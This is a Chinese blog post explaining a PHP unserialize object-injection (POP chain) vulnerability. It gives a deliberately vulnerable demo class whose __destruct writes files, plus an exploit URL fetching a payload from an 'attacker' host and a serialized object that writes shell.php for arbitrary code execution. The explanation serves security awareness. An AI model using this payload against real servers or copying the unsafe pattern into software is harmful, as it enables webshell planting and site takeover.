php自动序列化,php序列化函数unserialize对象注入漏洞(也成为pop链漏洞)

本文揭示了一种隐蔽的对象注入漏洞,该漏洞存在于PHP应用中。攻击者可以通过构造特定的HTTP请求,利用存在__destruct方法的类,结合unserialize函数,导致恶意代码执行。条件包括:含有魔幻方法的类、不安全的unserialize调用和从文件中读取序列化数据。了解这种漏洞有助于提升PHP应用的安全性。
摘要由CSDN通过智能技术生成

今天发现主站 https://www.tipsns.com 对应的官方博客

http://blog.tipsns.com 居然被别人黑了挂了木马,

最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:class foo{

private $file = "test.txt";

private $data = "text";

public function __destruct()

{

file_put_contents($this->file, $this->data);

}

}

$filename = $_GET['filename'];

echo "Readfile filename
" . PHP_EOL;

if(file_exists($filename)) {

unserialize(file_get_contents($filename));

} else {

echo 'no file
' . PHP_EOL;

}

这段代码有三个漏洞触发条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生

比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt

包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

然后就可以通过写入的shell.php执行任意代码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值